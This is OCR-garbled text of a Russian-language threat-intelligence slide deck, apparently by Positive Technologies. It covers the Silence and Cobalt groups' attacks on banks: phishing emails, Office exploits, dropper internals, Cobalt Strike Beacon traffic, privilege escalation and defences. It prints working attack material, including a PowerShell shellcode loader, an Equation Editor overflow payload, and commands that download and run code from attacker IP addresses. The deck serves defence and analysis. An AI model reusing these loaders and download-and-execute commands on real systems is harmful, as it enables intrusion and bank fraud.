UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,C ,$var_buffer, [IntPtr]::Zero,l, [IntPtr] ::Zero)

[System.Runtime.InteropServices.Marshal] : :GetDelegateForFunctionPointer ({(func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type B{[IntPtr]l, [Int32]))).
Invcke{Svar_hthmad,jxf Y | Cut-Null

}

else |
[Byte[]]$var code [System.Convert] : :FromBase64String (
$var_buffer = [System.Runtime.InteropServices.Marshal] ::GetDelegateForFunctionPointer((func_get_proc address kernel32.dll VirtualAlloc), (func get_delegate type @([IntPtr], [
UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, §var code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal] : :Copy (§var_code, 0, $var buffer, $var_code.length)
$var_hthr~ead = [System.Buntime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((func get proc address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [
UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zera,0,$var buffer, [IntPtr]::Zero,0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((func get proc address kernel3Z.dll WaitForSingleCbject), (func get delegate_type @([IntPtr], [Int32]))).
Invoke (Svar_hth‘oead,lx:' ) | Cut-Null

b

A
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Rtf nokymeHT

Embedded Ole-object

\ 4

Equation Native Stream

A 4

EQNEDT32.EXE

Malicious code in
MTEF data.
Vulnerability in
Font Record

Buffer overflow.
Control flow to WinExec.

A 4

Remote Code Execution

Description Size (byte) Value Comment

Tag 1 Ox8 0x8 denotes Font record

Typeface Number |1 Ox5a

Style 1 Ox5a

Font Name Variable, NULL terminated | “cmd.exe /c calc.exe AAAAAAAAAALAALAALAALAALAT + 0x00430c12 | Overflow and overwrite return address
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‘ Mcnonb3oBaHue ysa3BMMOCTU Yepes3 HeCKOIbKO YacoB nocre onybnmkoaHna POC

Br 21.11

Yasko Anna <Anna.Yasko@profix.kiev.ua>

Changes to the terms

Swift changes.rtf

31 KB .

. _

-

-

-

00 00 00 4d 69 63 72 6f 73 6f 66 T4 20 45
6l 74 69 6f 6Ge 20 33 2e 30 00 Oc 00 00 0O
20 45 71 75 61 74 &3 6L 6= 00 0Ob 00 00 0O
75 61 T4 &9 &L 62 2e 33 00 £4 383 b2 71 00
00 00 00 00 00O OO0 00 00 00 00 00 00 00 00
00 00 00 00 00O OO0 00 00 00 00 00 00 00 00
00 00 00 00 00O O3 00 04 00 00 00 00 Q0 00
00 00 00 00 00O OO0 00 00 00 00 00 00 00 00
00 00 00 00 00O OO0 00 00 00 00 00 00 00 00
00 00 00 00 00O OO0 00 00 00 00 00 00 00 00
00 00 00 1c 00 OO 00 02 00 9 c4 23 00 00
00 00 00 c&8 a7 S5c 00 c4 ee S5b 00 00 00 0O
01 01 03 0a 0a 01 08 5a Sa 63 64 64 20 2f
73 74 61 72 T4 20 S5c S5c 31 33 38 2e 36 38
33 34 2e 31 32 358 5c 77 5c 77 2e 65 T& &5
41 41 41 41 41 12 Oc 43 00 00 00 00 00 0O

...Microsoft Equ
ation 3.0..... D3
Equaticn..... Eq
uation.3.49Ig...

start \\138.68.2
34.128\whw.exe =&
B R

2017-11-21
2017-11-21
2017-11-21
2017-11-21
2017-11-21
2017-11-21
2017-11-21
2017-11-21
2017-11-21

13:27:59
13:47:35
13:47:52
14:00:05
14:21:36
14:30:58
14:39:03
15:14:58
15:16:25

1/59
1/59
1/59
1/59
157
1/59
1/59
2139
2139

2017-11-21 15:25:43 2159

Cobalt CVE-2017-11882
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CmeHa meToaa OOCTaBKuU

HoBble TEXHUKM NPOHNKHOBEHNA

KOM6I/IHaL|,I/IF| TEXHUK NPOHUKHOBEHUA

Mogundukauusa ctaporo nakepa

HoBbI KOHCTPYKTOP AN AJOKYMEHTOB

Ncnonb3oBaHne CVE-2018-0802

Hosbin Shellcode

To whom it may concern,
Notice of Complaint of 2018/02/27

IBM Trusteer Rapport has been made aware that vour organization appears to be providing internet services to a website, which is involved in a phishing attack:

IP: protected

URL: protected

For more information, download the full report on the link below:
J//ibm-notice com/Security/ Trusteer Report1d/ 7TRBES64DCRY. doc

Please take necessary steps to immediately shut down the fraudulent website, terminate its availability on the Internet or remove the malicious content hosted on 1t.
We understand that you may not be aware of this improper use of your services and we appreciate your cooperation!

If there is no response within 48 hours, we will be entitled to take sanctions in relation to access to your web resources.

To download this complaint letter, visit the following link:
J//ibm-notice com/Security/ Trusteer Notice/Complaint-63df456cbe doc

h 4 _ L A
FEE] |
add esi, [esp+lB8h+var_1AS]
lea eax, [esp+lBsh+var_1A3] loc_481261:
push eax mov eax, [ebx]
mov eax, 5@1ATh mov ecx, [ebx+4]
sub eax, esi xor BCX, eax C I d
push eax mov [esp+1BBh+var_198], eax KaqMBaHMe Pay Oa'
push ehx sub ecx, S57@@AZFIh
push edi mov [esp+1BBh+InternetReadFile], ebx
call [esp+1C8h+InternetReadFile] | imovzx  eax, cx
mov [esp+1BBh+var_198], eax
cmp esi, 8
jle short loc_4812AF
[ -
A J
[esi-9]
ehx

[esp+1B8h+var_198]
2

—
FEE]

loc_4@8128F:

mov” eax, [edisd] PackognpoBaHue
xor eax, esi

sub eax, 1459659513

xor eax, ecx Payload

mov [edi], eax

mov ecx, eax

lea edi, [edi+4]

sub edx, 1

jnz short loc_48128F
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2017 Version 2018 Version

o2 x ows1y; 00403344 push eax g 00405925 push eax g
5: 00403345 mov 0x1000 00405926 mov ecx, 0x1000
0040334A add 0x400000 00405928 add ecx, 0x400000
00403350 push ecx 00405931 push ecx
00403351 call : [ebp+0xFFFFFFD4 ] 00405932 call ss:[ebp+0xFFFFFFD4]
00403354 add esp 0xC 00405935 add ) 0xC
4 * y49 - 4); B
a £}
00403357 push 0x8000 00405938 push 0xB8000 i :
0040335C  push 0x0 00405930 push 0x0 — |'” “
- 0040335E mov edx, ss:[ebp+0xFFFFFFCO: 0040593F mov edx, ss:[ebp+0xFFFFFFCO: —
% sub_00402B5A (66 / 66) L i i e “|[-7 sub_00405138 (56 / 65)
1 00402854 00403361 push edx - - : 00405942 push edx - - : 1 00405138
1 00402B77 00403362 call ss:[ebp+0xF FE4] 00405943 call ss:[ebp+0xFE TFB4 ] | 00405158
] D0402B7F 00403365 mov eax, 0xl : Al [ oo405180
1 00402B36 : : 1 00405167
Ol 00402833 0040336R test eax, eax : : ol 00405169
1 00402B8F E 00405946 X¥Oor eax, eax : L1 00405170
.1 00402B9C | 0040336C jz 0x40348A 00405948 jz 0x405R63 .1 00405170
L1 00402C40 i i i L1 00405221
] 00402CEB B :: § ] 0040524C
L1 00402C71 i : Al -+ 12 ooos252
1 00402C81 i i Al — 2 oosos262
1 00402C9D : : Y || 1 oos0s27E
| 00402CA1 | 00405282
L 00402CA3 i 00402B5A sub 00402B5A i 0040513B sub 0040513B i .l 00405284
L1 00402CAB i S . miae | - Al - 1 oodo528c
Tl 004020RF 00403372 mov ecx, 0x6000 /i ;o 214: : : sl 00405200
L1 DD402EFE gi E 0040594E X0r ecx, ecx A 1 0o4054DF
L1 D0402F0C 00403377 add ecx, 0x400000 00405950 add ecx, 0x400000 | 004054ED
L] D0402F12 ] e _ B P — S Al - [ oo4nsaF3
1 00402F1D 0040337D mov ss: 00405956 mov ss:[ebp+0xFE ecx :. L 004054FE
e T S T SRRSO =
) Selection History (| Selection History
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[Tpnumepbl nucem Silence

Hr 20.04.2017 3:49

Ynpaenawowmin OTaes

<forlupe193:

KoMMmepueckoe npeanoxeHmne Ha OTKPLITHE KOpPp. cueTa.

iy

0 Ml YARAMAN AONONHWTENEHEIE PAZPLIEL! CTPOK B CODBLLEHNN.

m = Kommepueckoe npeanoskenie.doo
14 KB

OoGpoe yTpo!

A, MpolwkMHa Juana [eHNCOBHa,

BO3rnasnaio oraen mexbaHKOBCKMX ONepaLMil M KOPPECNOHABHTCKKMX OTHOWeHWA "MndSank".

[oroBop HaMEPEHWA NPUAOTAKD W NPOLLY €ro 3aN0AHKTD.
3apanue Bnaronapio sac, *ay oTeeta.

C yRameHuem,

HauanbHuk membBaHkosckux onepaumi 3A0 "NMngGank”.
MpowkuHa uana [eHicoBHa
127247, r. Mockea,

BeckyanHoBcKKiA Bynbeap, aom 36, Kopnyc 1

anILIJ'f Bace ICPQT‘UGI:‘LIJHE CPOKKM NPHHATD BO BHHMAaHHE 33ABNEHWE HA OTHPLITHE KOPPeCnOoHOeHTCHOrD CYeTa.

~POSITIVE TECHNOLOGIES

4r1

"MeHepxep MexbaHkosckux Onepaumin” <alexville@mail.com>

”DOLI.IEH'HE Ha OTKPBITHE KOPPECNOHAEHTCKOID CUeta.
Koy

O Mo yaanuam sonoaHHTEnEHBIE paspEIBEI CTPOK B COOBLLEHM.

JNorosop Hamepennazip
1000 b

Nobpoe ytpo!

fl, CeprueHKo AHaTONMA AHATONbEBMY,

Ha4anbHWK oTAENa MEXOIHKOBCKHX ONepaLMi M KOpPECNOHAEHTCKMX OTHOWeHMA 3A0 "PocToBGaHk".
MNpowy Bac B KpaT4aliluMe CPOKM PACCMOTPETH 33ABNEHUE HA OTKPbITHE W 0GCAYHMEAHWE KOPPECNOHABHTCKOND CYeTa.

Jlorosop HAMEPEHWA NPUKPENARIO W NPOLWY Ero 3aNOAHMTD.
3apaHue Bnarofapio Bac M May OTEeTa.

PyrosoguTens otaena mexbankosckux onepaumin  "Poctosbank".
CeprueHko AHaTOAMA AHATONbEEK

Belov AD <belov@ppfbank.ru>

PasmewieHme AeHEXHBIX CPEACTE

O Mo yaanuam goncnmumensisie pazpsise: crpox & cooBuenim.

] = Degovor.doc
55 KB

Dobpbiit aeHb!

A, Genos AHaTONMA LeHUCoBHY,
HauanbHUK oTAENa MeXBIHKOBCKMX ONEPALIMIA M HOPPECTIOHAEHTCKUX OTHOLWEHMWA 3A0 "MMN@BaHK".
Npotwy Bac B KpaTYaHLIMe COOKM PACCMOTPETL 33ABKY HA OTKPbITHE M 0BCYHMBAHWE KOPPECMOHAEHTCKOTO CYeTa.

JoroBOp HAMEPEHMA NPUNDTAI0 M NPOLY ro 33N0NHUTL.
3apaHue Bam Gnaroflape, May oTEETa.

C yBameHHem,

HauanbHue oTAeNa MemBaHKOBCKHMX ONEPaLMIA W HOPPECNOHASHTCHMX OTHOWEHKIA 3A0 "NNMBaHK"
bBenos AHatonuid [leHncoemd

127247, r. Mockea,
BeckyaAHUKOBCKMA Byabaap, Aom 36, kopnyc 1

Her

PayOnlineProcess <bakeriya@trustintbank.org>
MocraHoenenme LLBPO!.

Komy

0 Mb! yaA2AHAH AONOAHUTENLHEIE PA3PLIEL CTPOK B COOBLLEHN.

MocTanoBAeHWE.ZIp
1KB

AobpeiA genb!

ﬂpomy Bac 03HaKOMMTLCA C NOCTAHOBNEHWEM Kacarweeca 0BECNEUNTRABHOID B3HOCA, 0COBeHHO B YacTH OTCROYKH Ero ynaatol
Ha TPM MECALA.

MNpasuTenscTeo PO onybAMKOBaN0 NOCTAHOBNEHHE, PA3PEWAKDWEE MEKAYHAPOAHEIM NASTEXHBIM cHCTEMaM (Visa
MasterCard) paboTaTb B cTpade Ge3 BHECEHWA OGECNeYHTENBHOrD BIHOCA. [NA 3Toro Heobxogumo Ao 31 oxTAGPA NEperTy Ha
MPOUECCHHT K POCCHIACKMM KOMNEHWAM.

MNocTaHoBNEHWE NPUADTAEM BO BAOMEHKAX NocTaHosAeHne. doc, Bbl CMOMMTE IKOHOMMTE Ha KOMHMCCHM NPW TRAHISKUMAX NO
KapTam VISA v MASTER CARD!!!

C yBameHnem TexoTaen "MpoueccHHrosbld LeHTp PayOnline"!

127083, yn. 8 MapTta, gom 1, cTpoedue 12, nogwesn 3, stax 8 (Gusnec-uextp "Tpra").




NHTepecHble dpakTbl 0 Silence

‘ Ncnonb3oBaHne NyoGnmnyHbIX NOYTOBLIX CEPBUCOB

¥-Mailer: Web3ervice/1.1.9448 YahooMailNeo Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.10; ry:49.0) Gecko/20100101 Firefox/43.0

‘ PaccbInkn OT UMEH HecyLLeCcTBYOLLIMX OaHKOB

‘ cnonb3oBaHne bonee NpoaBUHYTLIX CNOCODOB NPOHUKHOBEHUS

%!P5-RAdoke-3.0 EPSF-3.0
%$%BoundingBox: 31 24 51 g54
¥%Page: 1 1

Tipe3_Boman fipdfont glob=14ict

‘ He _]'||-O6;|T na6opaTop|/||-o KacnepCKoro tkasper-pidor kasper-pidor kasper-pidor kasper-pidor

o

ebelVaT0e07d 000 der/220ebal T3 065 12 2d70696401 7 200b61737065722d47069646572206b61737065722d706964657220

begin /10 11 def 10 scalefont setfont newpath /E1 600 def 4 El moveto /12 E1 def /13 [ /14 exch def /12 12 1
fA3{ token pop exch pop }
$36b61737065722d7069646E72206b01737065722d7069646E72206b61737065722d7069646E572206b61737065722d706964657220

‘ JTiobat Slipknot $36b61T73T0657224T706964657220
tiMyheartisiusttoedarkiocars

$:]cantdestroyvbatisntthers
FE6L61737065722dT06964657220




Multimodule Silence APT trojan

Silence main dropper

cu I B
Control module Backconnect module SOCKS proxy module
4 Commands:
Htrjyytrn (peKoHHeKT)

Htcnfhn (pectapT)
Ytnpflfybq (HeT 3agaHuin)

Hardcoded Pipe

2

Screenshot gathering module



Silence main dropper

GetModuleHandlel(@);
vE = 358888;
do
1
DisableThreadLibraryCalls(@);
while { v& };
19 = @;
GetVolumeInformationW{L"C:\\",

@, @, (LPDWORD)&v1S, @, @, @, 8);
= yl9:

if ( 1vig )
i

l"ll-

G tVolumeInformationW(L"D:\\", @, @, (LPDWORD)&vw12, @, @, @, @);

f( vis)
{

o
GetVolumeInformationW{L"E:\\", @,

l"l'-

~ ¥

8 = Globalalloc(@x48u, @x7DOu);
wsprintfA((LP5STR)&v21, "%sget.php?name=%x", "/o/", v7);
v19 = (HKEY)CreateMutexa(®, ©, Name);

if { WaitForSingleObject(vls, @) )

1
CloseHandle(v19};
ExitProcess(@);

¥

wsprintfA(MName, "¥x", v7);

~POSITIVE TECHNOLOGIES

, (LPDWORD)&v19, @, @, @, @);

while ( 1 )
{
memset(vd, 8, @x7DBu);
w17 = InternetOpenA(&szAgent, @, 8, @, @);
W = InternetConnectA(vl?, "164.132.228.29", @x56u, @, @, 3u, @, @);
v3 = HttpOpenRequestA(v1s, "GET", (LPCSTR)&v21, "HTTP/1.8", @, @, 0x4000080u, 8);
HttpSendRequestA(vd, @, @, @, 8);
V1o = @;
InternetReadFile(v9,
InternetCloseHandle
InternetCloseHandle (v
Inter ne*Clc;eHandle(._u),
if ( *vd == 'f' && vB[1] == "a' &k vi[2] == '1" )
sub 4B?EFB(.__J 112)3
if ( Strstra(vs, "DEL") )

vE, Bx489u, (LPDWORD)&v19) ;

RegOpenKeyExA(HKEY_CURRENT_USER, "SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run", @, @xF@23Fu, &v19);
RegDeletevalueA(v1Z, "IntelSofts™);

RegCloseKey(v19);

ExitProcess(@);

e

if ( *v8 == ('|") &% vE[1] == 'h" &R vwB[2] == 't' && v3[3] == 't' && v3[4] == 'p' )
{
V1@ = sub 4@7AE@(( BYTE **)&v16);
SHGetSpecialFolderPathA(®, (LPSTR)&v2@, '#', @);
lstrcpyA( (LPSTR)&v22, (LPCSTR)&v2@);
LstrcatA{ (LPSTR)}&V22, "\\MicrosoftUpdte.exe™);
DeleteFileA((LPCSTR)&V22);
sub_487988(v10);
Sleep(@x1388u);
_mm_store 51128(( ml28i *)&vl15, (_ ml28i)@isd);
memset(&v13, @, @x44u);
Vit = 83
vl3 = 68;

if ( !CreateProcessA(®, (LPSTR)&22, @, @, @, @x20u, @, @, (LPSTARTUPINFOA)&13, (LPPROCESS_TNFORMATTON)&

ShellExecuteA(®, “open™, (LPCSTR)&v22, @, @, @);

Sleep(@x1388u);

15)




Silence LNK-Squiblydoo

IF:I Doc

LN K »| Tun ofbekTa:

Pacnonoxenwe: System3Z2
|,Legsvr32.exe /5.4n Ao Ahttp:ddS.154.151.30:80f0

MpunoxeHue

DabexT:

A 4

Cobalt Strike VBS-Scriplet

A 4

Cobalt Strike Beacon




(OFF TOP) APT-28 Zeroday exploits POSITIVE TecHNOLOBIES

H B Trump's Political Report - CooBuwenwe (HTML)
COOBLEHWE GpgOL

o ™ 5 ] TOMETHTD
MponyctuTe E—E)I E—@ t—é’l r‘: ; Mpasina -
) b ) H Bribpats k
u.\ Hesenatensmpie = | A2NWTE  OtBetue Oteetnts Mepecnate E-El } MepemecTTe [ feiicrema - >«
BCem - WCNoNHE
¥aanuTe OTEETHTE MepemMecTUTE

Cp 19.04.2017 10:58

@hg.nato.int> CVE-2017-0262

Capt.
Trump’s Political Report

Komy

A 4

CVE-2017-0263

CooBlweHne mdg‘ Trump's_Attack_on_Syria_English.doot

Siu/Madam,

In the attachment you can find some information about foreign policy of Donald J. Trump

CAPTAIN, USA Navy

IMS Cooperative Secunity Division

Cooperation Policy and Programmes Branch A{:kﬂ DW' Ed g 'E m E ntS
Policy and Programmes Section Head
Tel:

IVSN: Mikhail Tsvetkov of Positive Technologies

Room:

Dhanesh Kizhakkinan of FireEye Inc
Thomas Dupuy and lessy Campos of ESET

See acknowledgements for more information.




Silence APT28 Exploit (CVE-2017-0262) POSITIVE TECHNOLOGIES

Controller <yu_chernyshova@mail.com>

[BowuHan TpaH3aKuwma

0 Mbi ya2nunm A0NONHNTENbHbIE PA3PBIBL! CTPOK B COOBLLEHNN,

= Bwinucka no kapre knuenta.docx > CVE'2017'0262 DOCX
m 338 KB
06pbiit feHb. Haxoxycb Ha oTabixe B TypuuM, BUEPa YKUHAN B PECTOPaHE, ONNATUA KapTOiA, CerOAHA ABAXKADI YKE CNUCaNach
CYMM3 KOTOPYIO BYEPa ONNATUA 33 YIKUH.
Mpowy Bac NpoBepUTb NPUNOKEHHYH BbINUCKY NO CYETY C MOMMM NEPCOHANbHLIMM A3HHBIMM U CBA33TbCA CO MHOM. Y
Cnacubo! %! PS-Rdobe-3.0 EFSF-3.0
% :BoundingBox: 31 24 51 &54
E%Page: 1 1
/Times-Roman findfont globaldict
begin /10 11 def 10 scalefont setfont newpath /E1 &00
/B3{ token pop exch pop }
def /RZ
$30b61737065722d708
336b61737065722d706
<T7a5d5e20> def /R4]
/A1 exch
def 0 1 A1 length 1 sub
4 |wl WINWORD EXE { /A5 exch def Rl AS 2 copy get AZ AS 4 mod get xpr
Silence main dropper put } for 21 }
dl
" | FLTLDR.EXE N FLTLDR.EXE ¢ -
- e
ey
mCOWINWORD. exe 017d71681£3128450e343d415a3b374e1e3b314e0e7d6£104a7d2

Inject shellcode




[Tony4yeHne KoHTponA

ptsecurity.ru
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Attacks Packages Attacks Web Drive-by . T

e HTML Application e C(lone Site @ ‘ | u I 2 H I | ‘ ‘ | ‘ E
. : & THREATRTACTICS{FOR(PENETRATIONITESTERS]

e MS Office Macro e Host File

e Payload Generator e Scripted Web Delivery

e USB/CD AutoPlay e Signet Applet Attack

e Windows Dropper e Smart Applet Attack

e Windows Executable Client-side Attacks

MoapobHee: cobaltstrike.com



https://cobaltstrike.com/

‘ AreHT Beacon aBNseTcs OCHOBHOW MOJSIE3HOM HArpy3Kou n NpeacTaBnseT m3
cebs BI1O knacca RAT (Remote Access Trojan)

Login Access Explore

e Psexec e Bypass UAC e Browser Pivot
e Psexec (psh) e Dump Hashes e Desktop (VNC)
e Ssh e (Golden Ticket e File Browser

e Ssh (key) e Make Token e Net View

e Winrm (psh) e Run Mimikatz e Port Scan

e Wmi (psh) e Spawn AS e Process List

e Screenshot



Ces3b Beacon ¢ ynpaBnsiloLMM cCepBepoMm

GET (Sends MetaData)

GET (Beacon Tasking)

POST (Sends Output from

Tasking) Beacon

Teamserver




Beacon Custom Profile POSITIVE TECHNOLOGIES

root@kali: ~/cobaltstrike

File Edit View Search Terminal Help

:~/cobaltstrike# ./c2lint ~/Malleable-C2-Profiles-master/APT/havex.profile
[+] Profile compiled 0K

HTTPS Certificate

Global Options

HTTP/1.1 260 0K

Server: Apache/2.2.26 (Unix)
X-Powered-By: PHP/5.3.28
Cache-Control: no-cache
Content-Type: text/html
Keep-Alive: timeout=3, max=100
Content-Length: 238

GET/POST

<html><head><mega http-equiv='CACHE-CONTROL' content='N0-CACHE'></head><hody>Sorry, no data correspo
nding your request.<!--havexYL+20ej568EA3z030jsB6Pv3tGWHLbTLASYGI+ulc3TErKS0S5ELHLXDcOnTFI4dTudr3iEK
34559z84qT6IRA==havex - -></body></html>

Stager Server

POST 3x check passed

.http-get.server.output size is good

.http-get.client size is good

.http-post.client size is good

.http-get.client.metadata transform+mangletrecover passed (1 byte[s])
.http-get.client.metadatylaanatoinins bl con o e ss 100 als
.http-get.client.metadaty

.http-get.client.metadaty ﬂ rsmudge make the havex profile a little more interesting. Latest commit fbfdg7c on Dec 10, 2017
.http-get.server.output )

APT make the havex profile a little more interesting. 3 months ago
crimeware add profile for backoff malware. 4 years ago

normal fun profile to demonstrate the mask transform. 6 months ago



Mpumep cBsian Beacon ¢ C2

¥ Hypertext Transfer Protocol

> [Expert Info (Warning/Security): Unencrypted HTTP protocol detected over encrypted port, could indicate a dangerous misconfiguratien. ]
¥ GET /ga.js HTTP/1.1\r\n

Expert Info (Chat/Sequence): GET /ga.js HTTP/1.1\r\n]

GELSLpu/nliEtlkcP2HILvMEYVqa/ XUZyNSQYT+5tVICKrgui ) tVpe9gWUz 1E7idhpt 88k 1 thUg TyGs 51UAS1rDIMUUHK Lt uBVYGBZ E+dVs6OFRj TFSKMFHW+3TYUZE / cUAPZe7Tx00HZSR13cvidfacs=\r\n

* sligels ", ] & , i AL MO i L= il

Host: 93.113.131.116:443\r\n
Connection: Keep-Alive\r\n
Cache-Control: no-caches\rin

Wrin

[Full reguest URI: http://93.113.131.116:443/ga.qs] http_get {

[HTTP request 1/1] AT PRTR
(Response in frame: 31031] set uri "/ga.js";

client {
metadata {

base64:
prepend "user=",
header "Cookie":




Beacon Communicate

ISALOG_2017****_WEB_000 (2).w3c: *.*.** Domain\User Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;

Trident/5.0) 2017 *¥** 06:33:09 PROXY - - 5.154.191.30 443 5725 2555 204566 http GET
http://5.154.191.30:443/Pe3t application/octet-stream Inet 200 Pa3pelwaeT Beb-gocTyn ansa Bcex
nosib3oBaTenemn Req ID: 088d95f2 BHyTpeHHSsIS BHewHsas 0x480 Allowed - - - - Pa3peLueHo
[lpoBepka Hannunsa BpeAOHOCHbLIX NPOorpaMMm OTKoYeHa HensBecTHO - 0 - 0 - KRR X DyHKUMNA

OTKJTIHOYEHA OtcytctByer  5.154.191.30 49599 -
ISALOG_2017****_WEB_000 (2).w3c: *.*.*.* Domain\User Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;

Trident/5.0; BOIES;ENUSSEM) 2017 ****  06:33:10 PROXY- - 5.154.191.30 443 156 412 273
http GET http://5.154.191.30:443/ga.js application/octet-stream Inet 200 Pa3spelwaeT Beb-gocTyn Ans
BCEX MOJIb30BATENEN Reqg ID: 088d960b BHYTpeHHsASA BHewHsas 0x480  Allowed - - - -
Pa3pelueHo [MpoBepka HanuMuns BpeAOHOCHbIX MporpaMMm OTK/IoYeHa HensBecTHO - 0 -0 - Kk x

DyHKUMA OTK/IOYEHa OtcytctByer  5.154.191.30 49599 -
ISALOG_2017****_WEB_000 (2).w3c: *.*.*.* Domain\User Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;

Trident/5.0; BOIE9;ENUSSEM) 2017 ***x* 06:34:15 PROXY - - 5.154.191.30 443 842 194137 258
http POST http://5.154.191.30:443/submit.php?id=19042 text/html Inet 200 Pa3pewlaeT Beb-
AOOCTYn Ans Bcex nonb3osatenen  Req ID: 088d9bbe BHyTpeHHSA BHewHss 0x680 Allowed - - - -
Pa3peLueHo [lpoBepka HanMuMa BpPeQOHOCHbLIX MPOrpaMM OTK/OYeHa HensBecTHO - 0 -0 - F kKK

DyHKUNA OTK/IHOYEHA OtcytctByer  5.154.191.30 49599 -




‘ YARA Scan (Loki: github.com/Neo23x0/Loki)

‘ YARA Rule (github.com/Neo23x0/signature-base/blob/master/yara/crime cobaltgang.yar)

‘ AV (KVRT: kaspersky.ru/downloads/thank-you/free-virus-removal-tool)

‘ |OCs Scan (FINCERT Reports)

‘ IDS/IPS



https://github.com/Neo23x0/Loki
https://github.com/Neo23x0/signature-base/blob/master/yara/crime_cobaltgang.yar
https://www.kaspersky.ru/downloads/thank-you/free-virus-removal-tool

[Tony4yeHne npuBmnernn

ptsecurity.ru

~OSITIVE TECHNOLOGIES




[oBbILLEHME NPUBUNETUN

Pass the hash

Mimikatz

Bypass UAC

Inject in process

GPP Password



2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

4e 99 06 eB fc b6 6c c9 fa f4 93 18 62 Bf fe e8
f4 96 e8 ©6 c¢cc ©5 79 9@ 20 9b @89 a4 33 b6 6¢ 1b

: [BLANK]
: {2010-10-13 02:13:03, 2016-10-04 05:10:10>

Passwords : {(PRssuwlrdS, WiN-uwPsTNG?7?277S++)
Cuser. P?7P?7P?7PeP?PeC?C’C?POC’'P2C? <(P7C?C’C?P?PuP?P?P°C? C7C3PuC’P?7P°C? P -P°PTPeC?2C?))

UserNames :
File s \ Policies\{(31B2F340-016D-11D2-945F-00CO4FB984F?>\MACHINE\Pref
psN\Groups . xnl




PriVilege Escalation POSITIVE TECHNOLOGIES

Coberrne 7045, Service Control Manager

Obwmre MogpoBHocTw

B cucreme ycTanoeneHa cnyxba.

Mma cny=Ber kbd32fe

Mra daitna cnyxber cmd.exe /c echo c80dc13ddab = 1\ o
MM CIYyC#DBE CNYADa PEAMMMA NONE30BATENA

Tun zanycka cny=Ber Bpydnyto

YueTHan sanuce cnyxBer LocalSystem

Hman #ypHana: Cuctema

McTounme: Service Control Manager Aata: _

Kog T045 Kateropwa sagaqum:  OTcyTcTEYET

YpoeeHs: CeegeHWA Knroueeble cnoea:  Knaccnyeckni

Mone3os.: 5-1-5-21-3044342938-312262 KomnberoTep: _

Kog onepaunn:  CeegeHWA




KOMIMPOMETALWA YHETHbBIX JAHHbIX

51
NewUser 11111 ) )
34 3 s0% |
PrintUser print | 29 |
Restoremail 123 o o
Admin Vikbyf ° T 30
- - 16% 149 000
TestUser Test123 10 1 20% 1 i i i i
TestUserlT testuser 0 o e o " - o o e o o

KonuuecTeo CnyYaes KOMNPOMETAUKMK YYETHBIX OaHHbBIX ,J,:-J'IF KOMNPOMETALWK YYETHBIX AaHHBIX



PeKOMeHﬂ.aU'I/II/I POSITIVE TECHNOLOGIES

Attack Defense
® CO3,E|,aHl/Ie OoTA€EJIbHbIX  YYHETHbIX 3anumcen cC

npUBUNErMaMmn AOMEHHOro agMuHucTpaTopa Prevent Escalation
e TpeboBaHMA K ONMMHE U CNOXHOCTU AN Napons

Credential Prevent Lateral
e MoHuTopuHr Windows Events S0 SOV iaversa
o Increase Privilege
e Co3OaHMe YyHUKanbHbIX Maponen JokKanbHbIX Usage Visibility
agMWUHUCTPAaTOPOB Ha XOCTax Harden DC
e BHeopeHue oByxdpakTopHOU ayTeEHTUMUKALNU DC Host configuration
Attacks

Reduce DC Agent
attack surface

e YcTpaHeHue yassumocTtn GPP.

Assign Least
Privilege

AD Attacks

Attacker

Stealth Detect Attacks

MNoapobHee: technet.microsoft.com/en-us/library/mt631194(v=ws.11).aspx



https://technet.microsoft.com/en-us/library/mt631194(v=ws.11).aspx

3a|<penneH|/|e B CETU N PA3IBUTNE aTaKU

ptsecurity.ru
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‘ Startup Folder
‘ Windows Registry

c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\startup.bat

powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring(‘http://185.161.208.97:80/a'))"




«Becdaiinosas» ataka — Poweliks

’ . Registry Editor
;. Reqgistry tditor Flo Edt View Favorkes Hep
— — " s = (] {73€709A- a| | Name Type | Data
Fn e . " \ = 3 Localser | lab)(Defauk) REG_SZ  rundl32.exe javascript:™..\mshtml, RunHTMLApplication *;evaK"epdvniol
. O | REG.SZ  #@~ k4QAAAmmN{F+2i@#@EHxDAPZMOK7+p6(L+10" r071,rwDRUEN!
() Notinse

4 {73F00CE04

(Default) value loads and
decrypts the “a” value

“a” value JavaScript releases
PowerShell script

=1
Ble Edt Wew Favorites Help PowerShell decrypts Watchdog dl
- 473475614 2| [ Name | Type | Data
= :_—l {737eDsE0- Eb:II:DCFCILI":} REG_SZ rundll32.exs jare
[+~ {735651084 [ab]5 REG_SZ o kA0
FasGCoC] - . e
___;' { — [aB] Threadinamodel e, Bath Watchdog dll loaded with rundli32.exe, injects
L3 {738A5S X A S
-0 {73n0e342- into a process and keeps the registry infected
[+~ {73b2sFrd-F _
= _j {7IETO9EA- @ Cannot open p Error while opening key.
=-{_ Localser
e
o i 2
My CompuberiHKEY_LOCAL_MACHINESOFTWARE) Classes\CLSIDN{ 7 3E 7096 A-5003-462E-BEBO-00E79380A0E 4} LocalServeras] -




«becdannoBasa» araka — Silence

~POSITIVE TECHNOLOGIES

' Registry Explorer v0.7.1.0

File Tools Options Bookmarks (2/0) View Help
Registry hives {1) | Available bookmarks (2/0) |
Key name # values Last write timestamp
L]
A' M: 5 09.06.2017 16:34:16 +0...
4~ CMI-CreateHive{199DAFC2-6F 16-4946-BF90... 0 05.06.2017 20:29:35 4+0...
== Acronis 1] 24.03.2012 11:11:50 +0...
